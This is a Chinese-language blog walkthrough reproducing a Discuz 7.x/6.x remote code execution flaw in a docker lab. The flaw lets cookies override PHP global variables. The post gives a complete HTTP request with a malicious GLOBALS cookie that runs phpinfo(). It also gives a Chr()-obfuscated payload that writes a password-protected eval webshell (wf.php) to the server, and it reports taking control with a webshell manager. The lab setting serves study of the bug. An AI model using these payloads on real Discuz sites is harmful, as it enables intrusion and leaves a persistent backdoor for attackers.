Discuz 7.x/6.x 全局变量防御绕过导致代码执行
由于php5.3.x版本里php.ini的设置里request_order
默认值为GP,导致$_REQUEST
中不再包含$_COOKIE
,我们通过在Cookie中传入$GLOBALS
来覆盖全局变量,造成代码执行漏洞。
具体原理请参考:
漏洞环境
执行如下命令启动Discuz 7.2:
docker-compose up -d
启动后,访问http://your-ip:8080/install/
来安装discuz,数据库地址填写db
,数据库名为discuz
,数据库账号密码均为root
。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518091423098-924773103.png)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518091423022-322310861.png)
漏洞复现
安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close
可见,phpinfo已成功执行:
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518091423018-67982971.png)
写入一句话拿shell
payload:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
路径:wf.php 密码:lalala
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518091423124-1413848462.png)
上Cknife,拿下
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518091423033-980301479.png)
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16283344.html